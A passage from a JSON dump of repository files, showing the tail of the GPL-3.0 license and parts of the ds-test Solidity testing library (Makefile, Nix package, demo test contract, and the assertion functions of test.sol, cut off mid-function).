conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/ds-test/Makefile",
    "content": "all:; dapp build\n\ntest:\n\t-dapp --use solc:0.4.23 build\n\t-dapp --use solc:0.4.26 build\n\t-dapp --use solc:0.5.17 build\n\t-dapp --use solc:0.6.12 build\n\t-dapp --use solc:0.7.5  build\n\ndemo:\n\tDAPP_SRC=demo dapp --use solc:0.7.5 build\n\t-hevm dapp-test --verbose 3\n\n.PHONY: test demo\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/ds-test/default.nix",
    "content": "{ solidityPackage, dappsys }: solidityPackage {\n  name = \"ds-test\";\n  src = ./src;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/ds-test/demo/demo.sol",
    "content": "// SPDX-License-Identifier: GPL-3.0-or-later\npragma solidity >=0.4.23;\n\nimport \"../src/test.sol\";\n\ncontract DemoTest is DSTest {\n    function test_this() public pure {\n        require(true);\n    }\n    function test_logs() public {\n        emit log(\"-- log(string)\");\n        emit log(\"a string\");\n\n        emit log(\"-- log_named_uint(string, uint)\");\n        log_named_uint(\"uint\", 512);\n\n        emit log(\"-- log_named_int(string, int)\");\n        log_named_int(\"int\", -512);\n\n        emit log(\"-- log_named_address(string, address)\");\n        log_named_address(\"address\", address(this));\n\n        emit log(\"-- log_named_bytes32(string, bytes32)\");\n        log_named_bytes32(\"bytes32\", \"a string\");\n\n        emit log(\"-- log_named_bytes(string, bytes)\");\n        log_named_bytes(\"bytes\", hex\"cafefe\");\n\n        emit log(\"-- log_named_string(string, string)\");\n        log_named_string(\"string\", \"a string\");\n\n        emit log(\"-- log_named_decimal_uint(string, uint, uint)\");\n        log_named_decimal_uint(\"decimal uint\", 1.0e18, 18);\n\n        emit log(\"-- log_named_decimal_int(string, int, uint)\");\n        log_named_decimal_int(\"decimal int\", -1.0e18, 18);\n    }\n    event log_old_named_uint(bytes32,uint);\n    function test_old_logs() public {\n        log_old_named_uint(\"key\", 500);\n        log_named_bytes32(\"bkey\", \"val\");\n    }\n    function test_trace() public view {\n        this.echo(\"string 1\", \"string 2\");\n    }\n    function test_multiline() public {\n        emit log(\"a multiline\\\\n\" \"string\");\n        emit log(\"a multiline \" \"string\");\n        log_bytes(\"a string\");\n        log_bytes(\"a multiline\\n\" \"string\");\n        log_bytes(\"a multiline\\\\n\" \"string\");\n        emit log(unicode\"Ώ\");\n        logs(hex\"0000\");\n        log_named_bytes(\"0x0000\", hex\"0000\");\n        logs(hex\"ff\");\n    }\n    function echo(string memory s1, string memory s2) public pure\n        returns (string memory, string memory)\n    {\n        return (s1, s2);\n    }\n\n    function prove_this(uint x) public {\n        log_named_uint(\"sym x\", x);\n        assertGt(x + 1, 0);\n    }\n\n    function test_logn() public {\n        assembly {\n            log0(0x01, 0x02)\n            log1(0x01, 0x02, 0x03)\n            log2(0x01, 0x02, 0x03, 0x04)\n            log3(0x01, 0x02, 0x03, 0x04, 0x05)\n        }\n    }\n\n    event MyEvent(uint, uint indexed, uint, uint indexed);\n    function test_events() public {\n        emit MyEvent(1, 2, 3, 4);\n    }\n\n    function test_asserts() public {\n        string memory err = \"this test has failed!\";\n        emit log(\"## assertTrue(bool)\\n\");\n        assertTrue(false);\n        emit log(\"\\n\");\n        assertTrue(false, err);\n\n        emit log(\"\\n## assertEq(address,address)\\n\");\n        assertEq(address(this), msg.sender);\n        emit log(\"\\n\");\n        assertEq(address(this), msg.sender, err);\n\n        emit log(\"\\n## assertEq32(bytes32,bytes32)\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\");\n        emit log(\"\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\", err);\n\n        emit log(\"\\n## assertEq(bytes32,bytes32)\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\");\n        emit log(\"\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\", err);\n\n        emit log(\"\\n## assertEq(uint,uint)\\n\");\n        assertEq(uint(0), 1);\n        emit log(\"\\n\");\n        assertEq(uint(0), 1, err);\n\n        emit log(\"\\n## assertEq(int,int)\\n\");\n        assertEq(-1, -2);\n        emit log(\"\\n\");\n        assertEq(-1, -2, err);\n\n        emit log(\"\\n## assertEqDecimal(int,int,uint)\\n\");\n        assertEqDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertEqDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertEqDecimal(uint,uint,uint)\\n\");\n        assertEqDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertEqDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertGt(uint,uint)\\n\");\n        assertGt(uint(0), 0);\n        emit log(\"\\n\");\n        assertGt(uint(0), 0, err);\n\n        emit log(\"\\n## assertGt(int,int)\\n\");\n        assertGt(-1, -1);\n        emit log(\"\\n\");\n        assertGt(-1, -1, err);\n\n        emit log(\"\\n## assertGtDecimal(int,int,uint)\\n\");\n        assertGtDecimal(-2.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertGtDecimal(-2.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertGtDecimal(uint,uint,uint)\\n\");\n        assertGtDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertGtDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertGe(uint,uint)\\n\");\n        assertGe(uint(0), 1);\n        emit log(\"\\n\");\n        assertGe(uint(0), 1, err);\n\n        emit log(\"\\n## assertGe(int,int)\\n\");\n        assertGe(-1, 0);\n        emit log(\"\\n\");\n        assertGe(-1, 0, err);\n\n        emit log(\"\\n## assertGeDecimal(int,int,uint)\\n\");\n        assertGeDecimal(-2.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertGeDecimal(-2.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertGeDecimal(uint,uint,uint)\\n\");\n        assertGeDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertGeDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertLt(uint,uint)\\n\");\n        assertLt(uint(0), 0);\n        emit log(\"\\n\");\n        assertLt(uint(0), 0, err);\n\n        emit log(\"\\n## assertLt(int,int)\\n\");\n        assertLt(-1, -1);\n        emit log(\"\\n\");\n        assertLt(-1, -1, err);\n\n        emit log(\"\\n## assertLtDecimal(int,int,uint)\\n\");\n        assertLtDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertLtDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertLtDecimal(uint,uint,uint)\\n\");\n        assertLtDecimal(uint(2.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertLtDecimal(uint(2.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertLe(uint,uint)\\n\");\n        assertLe(uint(1), 0);\n        emit log(\"\\n\");\n        assertLe(uint(1), 0, err);\n\n        emit log(\"\\n## assertLe(int,int)\\n\");\n        assertLe(0, -1);\n        emit log(\"\\n\");\n        assertLe(0, -1, err);\n\n        emit log(\"\\n## assertLeDecimal(int,int,uint)\\n\");\n        assertLeDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertLeDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertLeDecimal(uint,uint,uint)\\n\");\n        assertLeDecimal(uint(2.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertLeDecimal(uint(2.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertEq(string,string)\\n\");\n        string memory s1 = \"string 1\";\n        string memory s2 = \"string 2\";\n        assertEq(s1, s2);\n        emit log(\"\\n\");\n        assertEq(s1, s2, err);\n\n        emit log(\"\\n## assertEq0(bytes,bytes)\\n\");\n        assertEq0(hex\"abcdef01\", hex\"abcdef02\");\n        log(\"\\n\");\n        assertEq0(hex\"abcdef01\", hex\"abcdef02\", err);\n    }\n}\n\ncontract DemoTestWithSetUp {\n    function setUp() public {\n    }\n    function test_pass() public pure {\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/ds-test/src/test.sol",
    "content": "// SPDX-License-Identifier: GPL-3.0-or-later\n\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n// GNU General Public License for more details.\n\n// You should have received a copy of the GNU General Public License\n// along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\npragma solidity >=0.4.23;\n\ncontract DSTest {\n    event log                    (string);\n    event logs                   (bytes);\n\n    event log_address            (address);\n    event log_bytes32            (bytes32);\n    event log_int                (int);\n    event log_uint               (uint);\n    event log_bytes              (bytes);\n    event log_string             (string);\n\n    event log_named_address      (string key, address val);\n    event log_named_bytes32      (string key, bytes32 val);\n    event log_named_decimal_int  (string key, int val, uint decimals);\n    event log_named_decimal_uint (string key, uint val, uint decimals);\n    event log_named_int          (string key, int val);\n    event log_named_uint         (string key, uint val);\n    event log_named_bytes        (string key, bytes val);\n    event log_named_string       (string key, string val);\n\n    bool public IS_TEST = true;\n    bool public failed;\n\n    address constant HEVM_ADDRESS =\n        address(bytes20(uint160(uint256(keccak256('hevm cheat code')))));\n\n    modifier mayRevert() { _; }\n    modifier testopts(string memory) { _; }\n\n    function fail() internal {\n        failed = true;\n    }\n\n    modifier logs_gas() {\n        uint startGas = gasleft();\n        _;\n        uint endGas = gasleft();\n        emit log_named_uint(\"gas\", startGas - endGas);\n    }\n\n    function assertTrue(bool condition) internal {\n        if (!condition) {\n            emit log(\"Error: Assertion Failed\");\n            fail();\n        }\n    }\n\n    function assertTrue(bool condition, string memory err) internal {\n        if (!condition) {\n            emit log_named_string(\"Error\", err);\n            assertTrue(condition);\n        }\n    }\n\n    function assertEq(address a, address b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [address]\");\n            emit log_named_address(\"  Expected\", b);\n            emit log_named_address(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(address a, address b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string (\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n\n    function assertEq(bytes32 a, bytes32 b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [bytes32]\");\n            emit log_named_bytes32(\"  Expected\", b);\n            emit log_named_bytes32(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(bytes32 a, bytes32 b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string (\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEq32(bytes32 a, bytes32 b) internal {\n        assertEq(a, b);\n    }\n    function assertEq32(bytes32 a, bytes32 b, string memory err) internal {\n        assertEq(a, b, err);\n    }\n\n    function assertEq(int a, int b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [int]\");\n            emit log_named_int(\"  Expected\", b);\n            emit log_named_int(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(int a, int b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEq(uint a, uint b) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [uint]\");\n            emit log_named_uint(\"  Expected\", b);\n            emit log_named_uint(\"    Actual\", a);\n            fail();\n        }\n    }\n    function assertEq(uint a, uint b, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEq(a, b);\n        }\n    }\n    function assertEqDecimal(int a, int b, uint decimals) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Expected\", b, decimals);\n            emit log_named_decimal_int(\"    Actual\", a, decimals);\n            fail();\n        }\n    }\n    function assertEqDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEqDecimal(a, b, decimals);\n        }\n    }\n    function assertEqDecimal(uint a, uint b, uint decimals) internal {\n        if (a != b) {\n            emit log(\"Error: a == b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Expected\", b, decimals);\n            emit log_named_decimal_uint(\"    Actual\", a, decimals);\n            fail();\n        }\n    }\n    function assertEqDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a != b) {\n            emit log_named_string(\"Error\", err);\n            assertEqDecimal(a, b, decimals);\n        }\n    }\n\n    function assertGt(uint a, uint b) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGt(uint a, uint b, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGt(a, b);\n        }\n    }\n    function assertGt(int a, int b) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGt(int a, int b, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGt(a, b);\n        }\n    }\n    function assertGtDecimal(int a, int b, uint decimals) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGtDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGtDecimal(a, b, decimals);\n        }\n    }\n    function assertGtDecimal(uint a, uint b, uint decimals) internal {\n        if (a <= b) {\n            emit log(\"Error: a > b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGtDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a <= b) {\n            emit log_named_string(\"Error\", err);\n            assertGtDecimal(a, b, decimals);\n        }\n    }\n\n    function assertGe(uint a, uint b) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGe(uint a, uint b, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGe(a, b);\n        }\n    }\n    function assertGe(int a, int b) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertGe(int a, int b, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGe(a, b);\n        }\n    }\n    function assertGeDecimal(int a, int b, uint decimals) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGeDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n    function assertGeDecimal(uint a, uint b, uint decimals) internal {\n        if (a < b) {\n            emit log(\"Error: a >= b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertGeDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a < b) {\n            emit log_named_string(\"Error\", err);\n            assertGeDecimal(a, b, decimals);\n        }\n    }\n\n    function assertLt(uint a, uint b) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLt(uint a, uint b, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLt(a, b);\n        }\n    }\n    function assertLt(int a, int b) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLt(int a, int b, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLt(a, b);\n        }\n    }\n    function assertLtDecimal(int a, int b, uint decimals) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLtDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLtDecimal(a, b, decimals);\n        }\n    }\n    function assertLtDecimal(uint a, uint b, uint decimals) internal {\n        if (a >= b) {\n            emit log(\"Error: a < b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, decimals);\n            emit log_named_decimal_uint(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLtDecimal(uint a, uint b, uint decimals, string memory err) internal {\n        if (a >= b) {\n            emit log_named_string(\"Error\", err);\n            assertLtDecimal(a, b, decimals);\n        }\n    }\n\n    function assertLe(uint a, uint b) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [uint]\");\n            emit log_named_uint(\"  Value a\", a);\n            emit log_named_uint(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLe(uint a, uint b, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLe(a, b);\n        }\n    }\n    function assertLe(int a, int b) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [int]\");\n            emit log_named_int(\"  Value a\", a);\n            emit log_named_int(\"  Value b\", b);\n            fail();\n        }\n    }\n    function assertLe(int a, int b, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLe(a, b);\n        }\n    }\n    function assertLeDecimal(int a, int b, uint decimals) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [decimal int]\");\n            emit log_named_decimal_int(\"  Value a\", a, decimals);\n            emit log_named_decimal_int(\"  Value b\", b, decimals);\n            fail();\n        }\n    }\n    function assertLeDecimal(int a, int b, uint decimals, string memory err) internal {\n        if (a > b) {\n            emit log_named_string(\"Error\", err);\n            assertLeDecimal(a, b, decimals);\n        }\n    }\n    function assertLeDecimal(uint a, uint b, uint decimals) internal {\n        if (a > b) {\n            emit log(\"Error: a <= b not satisfied [decimal uint]\");\n            emit log_named_decimal_uint(\"  Value a\", a, 